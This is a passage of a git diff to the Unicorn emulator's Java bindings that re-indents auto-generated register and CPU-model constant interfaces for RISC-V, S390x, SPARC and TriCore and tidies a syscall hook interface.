UC_RISCV_REG_FS6 = 180; + public static final int UC_RISCV_REG_FS7 = 181; + public static final int UC_RISCV_REG_FS8 = 182; + public static final int UC_RISCV_REG_FS9 = 183; + public static final int UC_RISCV_REG_FS10 = 184; + public static final int UC_RISCV_REG_FS11 = 185; + public static final int UC_RISCV_REG_FT8 = 186; + public static final int UC_RISCV_REG_FT9 = 187; + public static final int UC_RISCV_REG_FT10 = 188; + public static final int UC_RISCV_REG_FT11 = 189; } diff --git a/bindings/java/unicorn/S390xConst.java b/bindings/java/unicorn/S390xConst.java index 57b4c588..fb422f51 100644 --- a/bindings/java/unicorn/S390xConst.java +++ b/bindings/java/unicorn/S390xConst.java @@ -4,125 +4,125 @@ package unicorn; public interface S390xConst { -// S390X CPU + // S390X CPU - public static final int UC_CPU_S390X_Z900 = 0; - public static final int UC_CPU_S390X_Z900_2 = 1; - public static final int UC_CPU_S390X_Z900_3 = 2; - public static final int UC_CPU_S390X_Z800 = 3; - public static final int UC_CPU_S390X_Z990 = 4; - public static final int UC_CPU_S390X_Z990_2 = 5; - public static final int UC_CPU_S390X_Z990_3 = 6; - public static final int UC_CPU_S390X_Z890 = 7; - public static final int UC_CPU_S390X_Z990_4 = 8; - public static final int UC_CPU_S390X_Z890_2 = 9; - public static final int UC_CPU_S390X_Z990_5 = 10; - public static final int UC_CPU_S390X_Z890_3 = 11; - public static final int UC_CPU_S390X_Z9EC = 12; - public static final int UC_CPU_S390X_Z9EC_2 = 13; - public static final int UC_CPU_S390X_Z9BC = 14; - public static final int UC_CPU_S390X_Z9EC_3 = 15; - public static final int UC_CPU_S390X_Z9BC_2 = 16; - public static final int UC_CPU_S390X_Z10EC = 17; - public static final int UC_CPU_S390X_Z10EC_2 = 18; - public static final int UC_CPU_S390X_Z10BC = 19; - public static final int UC_CPU_S390X_Z10EC_3 = 20; - public static final int UC_CPU_S390X_Z10BC_2 = 21; - public static final int UC_CPU_S390X_Z196 = 22; - public static final int UC_CPU_S390X_Z196_2 = 23; - public static final int UC_CPU_S390X_Z114 = 24; - public static final int UC_CPU_S390X_ZEC12 = 25; - public static final int UC_CPU_S390X_ZEC12_2 = 26; - public static final int UC_CPU_S390X_ZBC12 = 27; - public static final int UC_CPU_S390X_Z13 = 28; - public static final int UC_CPU_S390X_Z13_2 = 29; - public static final int UC_CPU_S390X_Z13S = 30; - public static final int UC_CPU_S390X_Z14 = 31; - public static final int UC_CPU_S390X_Z14_2 = 32; - public static final int UC_CPU_S390X_Z14ZR1 = 33; - public static final int UC_CPU_S390X_GEN15A = 34; - public static final int UC_CPU_S390X_GEN15B = 35; - public static final int UC_CPU_S390X_QEMU = 36; - public static final int UC_CPU_S390X_MAX = 37; - public static final int UC_CPU_S390X_ENDING = 38; + public static final int UC_CPU_S390X_Z900 = 0; + public static final int UC_CPU_S390X_Z900_2 = 1; + public static final int UC_CPU_S390X_Z900_3 = 2; + public static final int UC_CPU_S390X_Z800 = 3; + public static final int UC_CPU_S390X_Z990 = 4; + public static final int UC_CPU_S390X_Z990_2 = 5; + public static final int UC_CPU_S390X_Z990_3 = 6; + public static final int UC_CPU_S390X_Z890 = 7; + public static final int UC_CPU_S390X_Z990_4 = 8; + public static final int UC_CPU_S390X_Z890_2 = 9; + public static final int UC_CPU_S390X_Z990_5 = 10; + public static final int UC_CPU_S390X_Z890_3 = 11; + public static final int UC_CPU_S390X_Z9EC = 12; + public static final int UC_CPU_S390X_Z9EC_2 = 13; + public static final int UC_CPU_S390X_Z9BC = 14; + public static final int UC_CPU_S390X_Z9EC_3 = 15; + public static final int UC_CPU_S390X_Z9BC_2 = 16; + public static final int UC_CPU_S390X_Z10EC = 17; + public static final int UC_CPU_S390X_Z10EC_2 = 18; + public static final int UC_CPU_S390X_Z10BC = 19; + public static final int UC_CPU_S390X_Z10EC_3 = 20; + public static final int UC_CPU_S390X_Z10BC_2 = 21; + public static final int UC_CPU_S390X_Z196 = 22; + public static final int UC_CPU_S390X_Z196_2 = 23; + public static final int UC_CPU_S390X_Z114 = 24; + public static final int UC_CPU_S390X_ZEC12 = 25; + public static final int UC_CPU_S390X_ZEC12_2 = 26; + public static final int UC_CPU_S390X_ZBC12 = 27; + public static final int UC_CPU_S390X_Z13 = 28; + public static final int UC_CPU_S390X_Z13_2 = 29; + public static final int UC_CPU_S390X_Z13S = 30; + public static final int UC_CPU_S390X_Z14 = 31; + public static final int UC_CPU_S390X_Z14_2 = 32; + public static final int UC_CPU_S390X_Z14ZR1 = 33; + public static final int UC_CPU_S390X_GEN15A = 34; + public static final int UC_CPU_S390X_GEN15B = 35; + public static final int UC_CPU_S390X_QEMU = 36; + public static final int UC_CPU_S390X_MAX = 37; + public static final int UC_CPU_S390X_ENDING = 38; -// S390X registers + // S390X registers - public static final int UC_S390X_REG_INVALID = 0; + public static final int UC_S390X_REG_INVALID = 0; -// General purpose registers - public static final int UC_S390X_REG_R0 = 1; - public static final int UC_S390X_REG_R1 = 2; - public static final int UC_S390X_REG_R2 = 3; - public static final int UC_S390X_REG_R3 = 4; - public static final int UC_S390X_REG_R4 = 5; - public static final int UC_S390X_REG_R5 = 6; - public static final int UC_S390X_REG_R6 = 7; - public static final int UC_S390X_REG_R7 = 8; - public static final int UC_S390X_REG_R8 = 9; - public static final int UC_S390X_REG_R9 = 10; - public static final int UC_S390X_REG_R10 = 11; - public static final int UC_S390X_REG_R11 = 12; - public static final int UC_S390X_REG_R12 = 13; - public static final int UC_S390X_REG_R13 = 14; - public static final int UC_S390X_REG_R14 = 15; - public static final int UC_S390X_REG_R15 = 16; + // General purpose registers + public static final int UC_S390X_REG_R0 = 1; + public static final int UC_S390X_REG_R1 = 2; + public static final int UC_S390X_REG_R2 = 3; + public static final int UC_S390X_REG_R3 = 4; + public static final int UC_S390X_REG_R4 = 5; + public static final int UC_S390X_REG_R5 = 6; + public static final int UC_S390X_REG_R6 = 7; + public static final int UC_S390X_REG_R7 = 8; + public static final int UC_S390X_REG_R8 = 9; + public static final int UC_S390X_REG_R9 = 10; + public static final int UC_S390X_REG_R10 = 11; + public static final int UC_S390X_REG_R11 = 12; + public static final int UC_S390X_REG_R12 = 13; + public static final int UC_S390X_REG_R13 = 14; + public static final int UC_S390X_REG_R14 = 15; + public static final int UC_S390X_REG_R15 = 16; -// Floating point registers - public static final int UC_S390X_REG_F0 = 17; - public static final int UC_S390X_REG_F1 = 18; - public static final int UC_S390X_REG_F2 = 19; - public static final int UC_S390X_REG_F3 = 20; - public static final int UC_S390X_REG_F4 = 21; - public static final int UC_S390X_REG_F5 = 22; - public static final int UC_S390X_REG_F6 = 23; - public static final int UC_S390X_REG_F7 = 24; - public static final int UC_S390X_REG_F8 = 25; - public static final int UC_S390X_REG_F9 = 26; - public static final int UC_S390X_REG_F10 = 27; - public static final int UC_S390X_REG_F11 = 28; - public static final int UC_S390X_REG_F12 = 29; - public static final int UC_S390X_REG_F13 = 30; - public static final int UC_S390X_REG_F14 = 31; - public static final int UC_S390X_REG_F15 = 32; - public static final int UC_S390X_REG_F16 = 33; - public static final int UC_S390X_REG_F17 = 34; - public static final int UC_S390X_REG_F18 = 35; - public static final int UC_S390X_REG_F19 = 36; - public static final int UC_S390X_REG_F20 = 37; - public static final int UC_S390X_REG_F21 = 38; - public static final int UC_S390X_REG_F22 = 39; - public static final int UC_S390X_REG_F23 = 40; - public static final int UC_S390X_REG_F24 = 41; - public static final int UC_S390X_REG_F25 = 42; - public static final int UC_S390X_REG_F26 = 43; - public static final int UC_S390X_REG_F27 = 44; - public static final int UC_S390X_REG_F28 = 45; - public static final int UC_S390X_REG_F29 = 46; - public static final int UC_S390X_REG_F30 = 47; - public static final int UC_S390X_REG_F31 = 48; + // Floating point registers + public static final int UC_S390X_REG_F0 = 17; + public static final int UC_S390X_REG_F1 = 18; + public static final int UC_S390X_REG_F2 = 19; + public static final int UC_S390X_REG_F3 = 20; + public static final int UC_S390X_REG_F4 = 21; + public static final int UC_S390X_REG_F5 = 22; + public static final int UC_S390X_REG_F6 = 23; + public static final int UC_S390X_REG_F7 = 24; + public static final int UC_S390X_REG_F8 = 25; + public static final int UC_S390X_REG_F9 = 26; + public static final int UC_S390X_REG_F10 = 27; + public static final int UC_S390X_REG_F11 = 28; + public static final int UC_S390X_REG_F12 = 29; + public static final int UC_S390X_REG_F13 = 30; + public static final int UC_S390X_REG_F14 = 31; + public static final int UC_S390X_REG_F15 = 32; + public static final int UC_S390X_REG_F16 = 33; + public static final int UC_S390X_REG_F17 = 34; + public static final int UC_S390X_REG_F18 = 35; + public static final int UC_S390X_REG_F19 = 36; + public static final int UC_S390X_REG_F20 = 37; + public static final int UC_S390X_REG_F21 = 38; + public static final int UC_S390X_REG_F22 = 39; + public static final int UC_S390X_REG_F23 = 40; + public static final int UC_S390X_REG_F24 = 41; + public static final int UC_S390X_REG_F25 = 42; + public static final int UC_S390X_REG_F26 = 43; + public static final int UC_S390X_REG_F27 = 44; + public static final int UC_S390X_REG_F28 = 45; + public static final int UC_S390X_REG_F29 = 46; + public static final int UC_S390X_REG_F30 = 47; + public static final int UC_S390X_REG_F31 = 48; -// Access registers - public static final int UC_S390X_REG_A0 = 49; - public static final int UC_S390X_REG_A1 = 50; - public static final int UC_S390X_REG_A2 = 51; - public static final int UC_S390X_REG_A3 = 52; - public static final int UC_S390X_REG_A4 = 53; - public static final int UC_S390X_REG_A5 = 54; - public static final int UC_S390X_REG_A6 = 55; - public static final int UC_S390X_REG_A7 = 56; - public static final int UC_S390X_REG_A8 = 57; - public static final int UC_S390X_REG_A9 = 58; - public static final int UC_S390X_REG_A10 = 59; - public static final int UC_S390X_REG_A11 = 60; - public static final int UC_S390X_REG_A12 = 61; - public static final int UC_S390X_REG_A13 = 62; - public static final int UC_S390X_REG_A14 = 63; - public static final int UC_S390X_REG_A15 = 64; - public static final int UC_S390X_REG_PC = 65; - public static final int UC_S390X_REG_PSWM = 66; - public static final int UC_S390X_REG_ENDING = 67; + // Access registers + public static final int UC_S390X_REG_A0 = 49; + public static final int UC_S390X_REG_A1 = 50; + public static final int UC_S390X_REG_A2 = 51; + public static final int UC_S390X_REG_A3 = 52; + public static final int UC_S390X_REG_A4 = 53; + public static final int UC_S390X_REG_A5 = 54; + public static final int UC_S390X_REG_A6 = 55; + public static final int UC_S390X_REG_A7 = 56; + public static final int UC_S390X_REG_A8 = 57; + public static final int UC_S390X_REG_A9 = 58; + public static final int UC_S390X_REG_A10 = 59; + public static final int UC_S390X_REG_A11 = 60; + public static final int UC_S390X_REG_A12 = 61; + public static final int UC_S390X_REG_A13 = 62; + public static final int UC_S390X_REG_A14 = 63; + public static final int UC_S390X_REG_A15 = 64; + public static final int UC_S390X_REG_PC = 65; + public static final int UC_S390X_REG_PSWM = 66; + public static final int UC_S390X_REG_ENDING = 67; -// Alias registers + // Alias registers } diff --git a/bindings/java/unicorn/SparcConst.java b/bindings/java/unicorn/SparcConst.java index e2a71eb4..5a407642 100644 --- a/bindings/java/unicorn/SparcConst.java +++ b/bindings/java/unicorn/SparcConst.java @@ -4,137 +4,137 @@ package unicorn; public interface SparcConst { -// SPARC32 CPU + // SPARC32 CPU - public static final int UC_CPU_SPARC32_FUJITSU_MB86904 = 0; - public static final int UC_CPU_SPARC32_FUJITSU_MB86907 = 1; - public static final int UC_CPU_SPARC32_TI_MICROSPARC_I = 2; - public static final int UC_CPU_SPARC32_TI_MICROSPARC_II = 3; - public static final int UC_CPU_SPARC32_TI_MICROSPARC_IIEP = 4; - public static final int UC_CPU_SPARC32_TI_SUPERSPARC_40 = 5; - public static final int UC_CPU_SPARC32_TI_SUPERSPARC_50 = 6; - public static final int UC_CPU_SPARC32_TI_SUPERSPARC_51 = 7; - public static final int UC_CPU_SPARC32_TI_SUPERSPARC_60 = 8; - public static final int UC_CPU_SPARC32_TI_SUPERSPARC_61 = 9; - public static final int UC_CPU_SPARC32_TI_SUPERSPARC_II = 10; - public static final int UC_CPU_SPARC32_LEON2 = 11; - public static final int UC_CPU_SPARC32_LEON3 = 12; - public static final int UC_CPU_SPARC32_ENDING = 13; + public static final int UC_CPU_SPARC32_FUJITSU_MB86904 = 0; + public static final int UC_CPU_SPARC32_FUJITSU_MB86907 = 1; + public static final int UC_CPU_SPARC32_TI_MICROSPARC_I = 2; + public static final int UC_CPU_SPARC32_TI_MICROSPARC_II = 3; + public static final int UC_CPU_SPARC32_TI_MICROSPARC_IIEP = 4; + public static final int UC_CPU_SPARC32_TI_SUPERSPARC_40 = 5; + public static final int UC_CPU_SPARC32_TI_SUPERSPARC_50 = 6; + public static final int UC_CPU_SPARC32_TI_SUPERSPARC_51 = 7; + public static final int UC_CPU_SPARC32_TI_SUPERSPARC_60 = 8; + public static final int UC_CPU_SPARC32_TI_SUPERSPARC_61 = 9; + public static final int UC_CPU_SPARC32_TI_SUPERSPARC_II = 10; + public static final int UC_CPU_SPARC32_LEON2 = 11; + public static final int UC_CPU_SPARC32_LEON3 = 12; + public static final int UC_CPU_SPARC32_ENDING = 13; -// SPARC64 CPU + // SPARC64 CPU - public static final int UC_CPU_SPARC64_FUJITSU = 0; - public static final int UC_CPU_SPARC64_FUJITSU_III = 1; - public static final int UC_CPU_SPARC64_FUJITSU_IV = 2; - public static final int UC_CPU_SPARC64_FUJITSU_V = 3; - public static final int UC_CPU_SPARC64_TI_ULTRASPARC_I = 4; - public static final int UC_CPU_SPARC64_TI_ULTRASPARC_II = 5; - public static final int UC_CPU_SPARC64_TI_ULTRASPARC_III = 6; - public static final int UC_CPU_SPARC64_TI_ULTRASPARC_IIE = 7; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_III = 8; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_III_CU = 9; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IIII = 10; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IV = 11; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IV_PLUS = 12; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IIII_PLUS = 13; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_T1 = 14; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_T2 = 15; - public static final int UC_CPU_SPARC64_NEC_ULTRASPARC_I = 16; - public static final int UC_CPU_SPARC64_ENDING = 17; + public static final int UC_CPU_SPARC64_FUJITSU = 0; + public static final int UC_CPU_SPARC64_FUJITSU_III = 1; + public static final int UC_CPU_SPARC64_FUJITSU_IV = 2; + public static final int UC_CPU_SPARC64_FUJITSU_V = 3; + public static final int UC_CPU_SPARC64_TI_ULTRASPARC_I = 4; + public static final int UC_CPU_SPARC64_TI_ULTRASPARC_II = 5; + public static final int UC_CPU_SPARC64_TI_ULTRASPARC_III = 6; + public static final int UC_CPU_SPARC64_TI_ULTRASPARC_IIE = 7; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_III = 8; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_III_CU = 9; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IIII = 10; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IV = 11; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IV_PLUS = 12; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IIII_PLUS = 13; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_T1 = 14; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_T2 = 15; + public static final int UC_CPU_SPARC64_NEC_ULTRASPARC_I = 16; + public static final int UC_CPU_SPARC64_ENDING = 17; -// SPARC registers + // SPARC registers - public static final int UC_SPARC_REG_INVALID = 0; - public static final int UC_SPARC_REG_F0 = 1; - public static final int UC_SPARC_REG_F1 = 2; - public static final int UC_SPARC_REG_F2 = 3; - public static final int UC_SPARC_REG_F3 = 4; - public static final int UC_SPARC_REG_F4 = 5; - public static final int UC_SPARC_REG_F5 = 6; - public static final int UC_SPARC_REG_F6 = 7; - public static final int UC_SPARC_REG_F7 = 8; - public static final int UC_SPARC_REG_F8 = 9; - public static final int UC_SPARC_REG_F9 = 10; - public static final int UC_SPARC_REG_F10 = 11; - public static final int UC_SPARC_REG_F11 = 12; - public static final int UC_SPARC_REG_F12 = 13; - public static final int UC_SPARC_REG_F13 = 14; - public static final int UC_SPARC_REG_F14 = 15; - public static final int UC_SPARC_REG_F15 = 16; - public static final int UC_SPARC_REG_F16 = 17; - public static final int UC_SPARC_REG_F17 = 18; - public static final int UC_SPARC_REG_F18 = 19; - public static final int UC_SPARC_REG_F19 = 20; - public static final int UC_SPARC_REG_F20 = 21; - public static final int UC_SPARC_REG_F21 = 22; - public static final int UC_SPARC_REG_F22 = 23; - public static final int UC_SPARC_REG_F23 = 24; - public static final int UC_SPARC_REG_F24 = 25; - public static final int UC_SPARC_REG_F25 = 26; - public static final int UC_SPARC_REG_F26 = 27; - public static final int UC_SPARC_REG_F27 = 28; - public static final int UC_SPARC_REG_F28 = 29; - public static final int UC_SPARC_REG_F29 = 30; - public static final int UC_SPARC_REG_F30 = 31; - public static final int UC_SPARC_REG_F31 = 32; - public static final int UC_SPARC_REG_F32 = 33; - public static final int UC_SPARC_REG_F34 = 34; - public static final int UC_SPARC_REG_F36 = 35; - public static final int UC_SPARC_REG_F38 = 36; - public static final int UC_SPARC_REG_F40 = 37; - public static final int UC_SPARC_REG_F42 = 38; - public static final int UC_SPARC_REG_F44 = 39; - public static final int UC_SPARC_REG_F46 = 40; - public static final int UC_SPARC_REG_F48 = 41; - public static final int UC_SPARC_REG_F50 = 42; - public static final int UC_SPARC_REG_F52 = 43; - public static final int UC_SPARC_REG_F54 = 44; - public static final int UC_SPARC_REG_F56 = 45; - public static final int UC_SPARC_REG_F58 = 46; - public static final int UC_SPARC_REG_F60 = 47; - public static final int UC_SPARC_REG_F62 = 48; - public static final int UC_SPARC_REG_FCC0 = 49; - public static final int UC_SPARC_REG_FCC1 = 50; - public static final int UC_SPARC_REG_FCC2 = 51; - public static final int UC_SPARC_REG_FCC3 = 52; - public static final int UC_SPARC_REG_G0 = 53; - public static final int UC_SPARC_REG_G1 = 54; - public static final int UC_SPARC_REG_G2 = 55; - public static final int UC_SPARC_REG_G3 = 56; - public static final int UC_SPARC_REG_G4 = 57; - public static final int UC_SPARC_REG_G5 = 58; - public static final int UC_SPARC_REG_G6 = 59; - public static final int UC_SPARC_REG_G7 = 60; - public static final int UC_SPARC_REG_I0 = 61; - public static final int UC_SPARC_REG_I1 = 62; - public static final int UC_SPARC_REG_I2 = 63; - public static final int UC_SPARC_REG_I3 = 64; - public static final int UC_SPARC_REG_I4 = 65; - public static final int UC_SPARC_REG_I5 = 66; - public static final int UC_SPARC_REG_FP = 67; - public static final int UC_SPARC_REG_I7 = 68; - public static final int UC_SPARC_REG_ICC = 69; - public static final int UC_SPARC_REG_L0 = 70; - public static final int UC_SPARC_REG_L1 = 71; - public static final int UC_SPARC_REG_L2 = 72; - public static final int UC_SPARC_REG_L3 = 73; - public static final int UC_SPARC_REG_L4 = 74; - public static final int UC_SPARC_REG_L5 = 75; - public static final int UC_SPARC_REG_L6 = 76; - public static final int UC_SPARC_REG_L7 = 77; - public static final int UC_SPARC_REG_O0 = 78; - public static final int UC_SPARC_REG_O1 = 79; - public static final int UC_SPARC_REG_O2 = 80; - public static final int UC_SPARC_REG_O3 = 81; - public static final int UC_SPARC_REG_O4 = 82; - public static final int UC_SPARC_REG_O5 = 83; - public static final int UC_SPARC_REG_SP = 84; - public static final int UC_SPARC_REG_O7 = 85; - public static final int UC_SPARC_REG_Y = 86; - public static final int UC_SPARC_REG_XCC = 87; - public static final int UC_SPARC_REG_PC = 88; - public static final int UC_SPARC_REG_ENDING = 89; - public static final int UC_SPARC_REG_O6 = 84; - public static final int UC_SPARC_REG_I6 = 67; + public static final int UC_SPARC_REG_INVALID = 0; + public static final int UC_SPARC_REG_F0 = 1; + public static final int UC_SPARC_REG_F1 = 2; + public static final int UC_SPARC_REG_F2 = 3; + public static final int UC_SPARC_REG_F3 = 4; + public static final int UC_SPARC_REG_F4 = 5; + public static final int UC_SPARC_REG_F5 = 6; + public static final int UC_SPARC_REG_F6 = 7; + public static final int UC_SPARC_REG_F7 = 8; + public static final int UC_SPARC_REG_F8 = 9; + public static final int UC_SPARC_REG_F9 = 10; + public static final int UC_SPARC_REG_F10 = 11; + public static final int UC_SPARC_REG_F11 = 12; + public static final int UC_SPARC_REG_F12 = 13; + public static final int UC_SPARC_REG_F13 = 14; + public static final int UC_SPARC_REG_F14 = 15; + public static final int UC_SPARC_REG_F15 = 16; + public static final int UC_SPARC_REG_F16 = 17; + public static final int UC_SPARC_REG_F17 = 18; + public static final int UC_SPARC_REG_F18 = 19; + public static final int UC_SPARC_REG_F19 = 20; + public static final int UC_SPARC_REG_F20 = 21; + public static final int UC_SPARC_REG_F21 = 22; + public static final int UC_SPARC_REG_F22 = 23; + public static final int UC_SPARC_REG_F23 = 24; + public static final int UC_SPARC_REG_F24 = 25; + public static final int UC_SPARC_REG_F25 = 26; + public static final int UC_SPARC_REG_F26 = 27; + public static final int UC_SPARC_REG_F27 = 28; + public static final int UC_SPARC_REG_F28 = 29; + public static final int UC_SPARC_REG_F29 = 30; + public static final int UC_SPARC_REG_F30 = 31; + public static final int UC_SPARC_REG_F31 = 32; + public static final int UC_SPARC_REG_F32 = 33; + public static final int UC_SPARC_REG_F34 = 34; + public static final int UC_SPARC_REG_F36 = 35; + public static final int UC_SPARC_REG_F38 = 36; + public static final int UC_SPARC_REG_F40 = 37; + public static final int UC_SPARC_REG_F42 = 38; + public static final int UC_SPARC_REG_F44 = 39; + public static final int UC_SPARC_REG_F46 = 40; + public static final int UC_SPARC_REG_F48 = 41; + public static final int UC_SPARC_REG_F50 = 42; + public static final int UC_SPARC_REG_F52 = 43; + public static final int UC_SPARC_REG_F54 = 44; + public static final int UC_SPARC_REG_F56 = 45; + public static final int UC_SPARC_REG_F58 = 46; + public static final int UC_SPARC_REG_F60 = 47; + public static final int UC_SPARC_REG_F62 = 48; + public static final int UC_SPARC_REG_FCC0 = 49; + public static final int UC_SPARC_REG_FCC1 = 50; + public static final int UC_SPARC_REG_FCC2 = 51; + public static final int UC_SPARC_REG_FCC3 = 52; + public static final int UC_SPARC_REG_G0 = 53; + public static final int UC_SPARC_REG_G1 = 54; + public static final int UC_SPARC_REG_G2 = 55; + public static final int UC_SPARC_REG_G3 = 56; + public static final int UC_SPARC_REG_G4 = 57; + public static final int UC_SPARC_REG_G5 = 58; + public static final int UC_SPARC_REG_G6 = 59; + public static final int UC_SPARC_REG_G7 = 60; + public static final int UC_SPARC_REG_I0 = 61; + public static final int UC_SPARC_REG_I1 = 62; + public static final int UC_SPARC_REG_I2 = 63; + public static final int UC_SPARC_REG_I3 = 64; + public static final int UC_SPARC_REG_I4 = 65; + public static final int UC_SPARC_REG_I5 = 66; + public static final int UC_SPARC_REG_FP = 67; + public static final int UC_SPARC_REG_I7 = 68; + public static final int UC_SPARC_REG_ICC = 69; + public static final int UC_SPARC_REG_L0 = 70; + public static final int UC_SPARC_REG_L1 = 71; + public static final int UC_SPARC_REG_L2 = 72; + public static final int UC_SPARC_REG_L3 = 73; + public static final int UC_SPARC_REG_L4 = 74; + public static final int UC_SPARC_REG_L5 = 75; + public static final int UC_SPARC_REG_L6 = 76; + public static final int UC_SPARC_REG_L7 = 77; + public static final int UC_SPARC_REG_O0 = 78; + public static final int UC_SPARC_REG_O1 = 79; + public static final int UC_SPARC_REG_O2 = 80; + public static final int UC_SPARC_REG_O3 = 81; + public static final int UC_SPARC_REG_O4 = 82; + public static final int UC_SPARC_REG_O5 = 83; + public static final int UC_SPARC_REG_SP = 84; + public static final int UC_SPARC_REG_O7 = 85; + public static final int UC_SPARC_REG_Y = 86; + public static final int UC_SPARC_REG_XCC = 87; + public static final int UC_SPARC_REG_PC = 88; + public static final int UC_SPARC_REG_ENDING = 89; + public static final int UC_SPARC_REG_O6 = 84; + public static final int UC_SPARC_REG_I6 = 67; } diff --git a/bindings/java/unicorn/SyscallHook.java b/bindings/java/unicorn/SyscallHook.java index 5b08a113..bf6476db 100644 --- a/bindings/java/unicorn/SyscallHook.java +++ b/bindings/java/unicorn/SyscallHook.java @@ -22,8 +22,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. package unicorn; public interface SyscallHook extends Hook { - - public void hook(Unicorn u, Object user); - + public void hook(Unicorn u, Object user); } - diff --git a/bindings/java/unicorn/TriCoreConst.java b/bindings/java/unicorn/TriCoreConst.java index 4154abad..2cf10b0c 100644 --- a/bindings/java/unicorn/TriCoreConst.java +++ b/bindings/java/unicorn/TriCoreConst.java @@ -4,127 +4,127 @@ package unicorn; public interface TriCoreConst { -// TRICORE CPU + // TRICORE CPU - public static final int UC_CPU_TRICORE_TC1796 = 0; - public static final int UC_CPU_TRICORE_TC1797 = 1; - public static final int UC_CPU_TRICORE_TC27X = 2; - public static final int UC_CPU_TRICORE_ENDING = 3; + public static final int UC_CPU_TRICORE_TC1796 = 0; + public static final int UC_CPU_TRICORE_TC1797 = 1; + public static final int UC_CPU_TRICORE_TC27X = 2; + public static final int UC_CPU_TRICORE_ENDING = 3; -// TRICORE registers + // TRICORE registers - public static final int UC_TRICORE_REG_INVALID = 0; - public static final int UC_TRICORE_REG_A0 = 1; - public static final int UC_TRICORE_REG_A1 = 2; - public static final int UC_TRICORE_REG_A2 = 3; - public static final int UC_TRICORE_REG_A3 = 4; - public static final int UC_TRICORE_REG_A4 = 5; - public static final int UC_TRICORE_REG_A5 = 6; - public static final int UC_TRICORE_REG_A6 = 7; - public static final int UC_TRICORE_REG_A7 = 8; - public static final int UC_TRICORE_REG_A8 = 9; - public static final int UC_TRICORE_REG_A9 = 10; - public static final int UC_TRICORE_REG_A10 = 11; - public static final int UC_TRICORE_REG_A11 = 12; - public static final int UC_TRICORE_REG_A12 = 13; - public static final int UC_TRICORE_REG_A13 = 14; - public static final int UC_TRICORE_REG_A14 = 15; - public static final int UC_TRICORE_REG_A15 = 16; - public static final int UC_TRICORE_REG_D0 = 17; - public static final int UC_TRICORE_REG_D1 = 18; - public static final int UC_TRICORE_REG_D2 = 19; - public static final int UC_TRICORE_REG_D3 = 20; - public static final int UC_TRICORE_REG_D4 = 21; - public static final int UC_TRICORE_REG_D5 = 22; - public static final int UC_TRICORE_REG_D6 = 23; - public static final int UC_TRICORE_REG_D7 = 24; - public static final int UC_TRICORE_REG_D8 = 25; - public static final int UC_TRICORE_REG_D9 = 26; - public static final int UC_TRICORE_REG_D10 = 27; - public static final int UC_TRICORE_REG_D11 = 28; - public static final int UC_TRICORE_REG_D12 = 29; - public static final int UC_TRICORE_REG_D13 = 30; - public static final int UC_TRICORE_REG_D14 = 31; - public static final int UC_TRICORE_REG_D15 = 32; - public static final int UC_TRICORE_REG_PCXI = 33; - public static final int UC_TRICORE_REG_PSW = 34; - public static final int UC_TRICORE_REG_PSW_USB_C = 35; - public static final int UC_TRICORE_REG_PSW_USB_V = 36; - public static final int UC_TRICORE_REG_PSW_USB_SV = 37; - public static final int UC_TRICORE_REG_PSW_USB_AV = 38; - public static final int UC_TRICORE_REG_PSW_USB_SAV = 39; - public static final int UC_TRICORE_REG_PC = 40; - public static final int UC_TRICORE_REG_SYSCON = 41; - public static final int UC_TRICORE_REG_CPU_ID = 42; - public static final int UC_TRICORE_REG_BIV = 43; - public static final int UC_TRICORE_REG_BTV = 44; - public static final int UC_TRICORE_REG_ISP = 45; - public static final int UC_TRICORE_REG_ICR = 46; - public static final int UC_TRICORE_REG_FCX = 47; - public static final int UC_TRICORE_REG_LCX = 48; - public static final int UC_TRICORE_REG_COMPAT = 49; - public static final int UC_TRICORE_REG_DPR0_U = 50; - public static final int UC_TRICORE_REG_DPR1_U = 51; - public static final int UC_TRICORE_REG_DPR2_U = 52; - public static final int UC_TRICORE_REG_DPR3_U = 53; - public static final int UC_TRICORE_REG_DPR0_L = 54; - public static final int UC_TRICORE_REG_DPR1_L = 55; - public static final int UC_TRICORE_REG_DPR2_L = 56; - public static final int UC_TRICORE_REG_DPR3_L = 57; - public static final int UC_TRICORE_REG_CPR0_U = 58; - public static final int UC_TRICORE_REG_CPR1_U = 59; - public static final int UC_TRICORE_REG_CPR2_U = 60; - public static final int UC_TRICORE_REG_CPR3_U = 61; - public static final int UC_TRICORE_REG_CPR0_L = 62; - public static final int UC_TRICORE_REG_CPR1_L = 63; - public static final int UC_TRICORE_REG_CPR2_L = 64; - public static final int UC_TRICORE_REG_CPR3_L = 65; - public static final int UC_TRICORE_REG_DPM0 = 66; - public static final int UC_TRICORE_REG_DPM1 = 67; - public static final int UC_TRICORE_REG_DPM2 = 68; - public static final int UC_TRICORE_REG_DPM3 = 69; - public static final int UC_TRICORE_REG_CPM0 = 70; - public static final int UC_TRICORE_REG_CPM1 = 71; - public static final int UC_TRICORE_REG_CPM2 = 72; - public static final int UC_TRICORE_REG_CPM3 = 73; - public static final int UC_TRICORE_REG_MMU_CON = 74; - public static final int UC_TRICORE_REG_MMU_ASI = 75; - public static final int UC_TRICORE_REG_MMU_TVA = 76; - public static final int UC_TRICORE_REG_MMU_TPA = 77; - public static final int UC_TRICORE_REG_MMU_TPX = 78; - public static final int UC_TRICORE_REG_MMU_TFA = 79; - public static final int UC_TRICORE_REG_BMACON = 80; - public static final int UC_TRICORE_REG_SMACON = 81; - public static final int UC_TRICORE_REG_DIEAR = 82; - public static final int UC_TRICORE_REG_DIETR = 83; - public static final int UC_TRICORE_REG_CCDIER = 84; - public static final int UC_TRICORE_REG_MIECON = 85; - public static final int UC_TRICORE_REG_PIEAR = 86; - public static final int UC_TRICORE_REG_PIETR = 87; - public static final int UC_TRICORE_REG_CCPIER = 